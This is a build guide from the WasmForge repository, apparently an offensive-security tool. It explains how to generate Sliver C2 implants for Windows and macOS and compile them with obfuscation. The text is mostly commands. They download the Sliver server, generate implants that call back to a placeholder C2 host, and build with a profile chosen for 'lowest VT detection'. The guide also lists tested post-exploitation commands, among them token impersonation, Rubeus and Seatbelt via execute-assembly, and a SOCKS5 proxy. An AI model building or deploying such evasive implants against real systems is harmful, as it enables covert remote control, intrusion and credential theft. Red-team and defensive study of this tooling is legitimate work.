praetorian-inc-wasmforge/docs/BUILDING-SLIVER.md

Building Sliver with WasmForge

WasmForge can compile Sliver C2 implants for both Windows and macOS. Sliver generates platform-specific implant source code, so you must generate the source targeting the correct OS from a Sliver server.

Prerequisites

Download a Sliver server and client for your build host from the Sliver releases page:

# macOS ARM build host example (adjust for your platform)
curl -L -o /tmp/sliver-server \
  https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_darwin-arm64
curl -L -o /tmp/sliver-client \
  https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-client_macos-arm64
chmod +x /tmp/sliver-server /tmp/sliver-client

Step 1: Start the Sliver Server

# First-time setup: unpack assets
/tmp/sliver-server unpack --force

# Start the daemon
/tmp/sliver-server daemon &

# Create an operator config and import it into the client
/tmp/sliver-server operator --name localtest --lhost 127.0.0.1 --permissions all --save /tmp/localtest.cfg
/tmp/sliver-client import /tmp/localtest.cfg

Step 2: Generate Implant Source

Connect to the server and generate an implant. Sliver saves the source code to ~/.sliver/slivers/{os}/{arch}/{NAME}/src/.

# Start an HTTPS listener (if not already running)
# Then generate the implant from inside the Sliver client:

# For Windows:
# generate --os windows --arch amd64 --http https://YOUR_C2_SERVER:8443 --save /tmp/sliver-win --skip-symbols

# For macOS:
# generate --os darwin --arch amd64 --http https://YOUR_C2_SERVER:8443 --save /tmp/sliver-mac --skip-symbols

# For session mode (interactive, supports SOCKS5 proxy):
# generate session --os darwin --arch amd64 --http https://YOUR_C2_SERVER:8443 --save /tmp/sliver-session --skip-symbols

Copy the generated source to a working directory:

# Find the generated source (NAME is shown in Sliver's output)
cp -r ~/.sliver/slivers/darwin/amd64/IMPLANT_NAME/src /tmp/sliver-darwin-src
# or for Windows:
cp -r ~/.sliver/slivers/windows/amd64/IMPLANT_NAME/src /tmp/sliver-win-src

Step 3: Build with WasmForge

# Build wasmforge
GOWORK=off go build -o /tmp/wasmforge-bin ./cmd/wasmforge

# Windows target (--ghost traefik recommended for lowest VT detection)
GOWORK=off GOOS=windows GOARCH=amd64 /tmp/wasmforge-bin build \
  --ghost traefik \
  --win32-apis \
  -v \
  -o /tmp/sliver-implant.exe \
  /tmp/sliver-win-src/

# macOS target (no flag needed — auto-detected)
GOWORK=off GOOS=darwin GOARCH=amd64 /tmp/wasmforge-bin build \
  -v \
  -o /tmp/sliver-implant \
  /tmp/sliver-darwin-src/

Important Notes

• Platform-specific source. Windows and macOS Sliver sources are NOT interchangeable. Windows runner.go references handlers.WrapperHandler (token impersonation) which only exists in handlers_windows.go. Always generate source targeting the correct OS.
• Beacon vs Session. Beacons check in periodically (tasks are queued). Sessions are interactive and support SOCKS5 proxying. Choose based on your use case.
• --skip-symbols. Recommended to reduce compile time. Sliver's symbol obfuscation adds significant build time and isn't needed since WasmForge already provides its own obfuscation layers.
• --tags. Use for programs that gate features behind build tags (e.g., -tags "shell,ps,netstat" to enable specific command handlers in an agent that supports it).
• Binary sizes. ~34.5MB (Windows), ~29.7MB (macOS).

Verified Commands

Platform	C2	Mode	Commands Tested
Windows	Sliver	Beacon	whoami, ls, pwd, execute, info, getprivs, ps, netstat, ifconfig, execute-assembly (Rubeus, Seatbelt)
macOS	Sliver	Beacon	pwd, ls, download, mkdir, execute
macOS	Sliver	Session	pwd, ls, download, mkdir, execute, SOCKS5 proxy

Related Documentation

• Main README — quick start and feature overview
• GHOST-PROFILES.md — anti-detection profiling (recommended for Windows targets)
• MACOS.md — macOS framework bridge details
• CSHARP.md — compiling Rubeus / Seatbelt for execute-assembly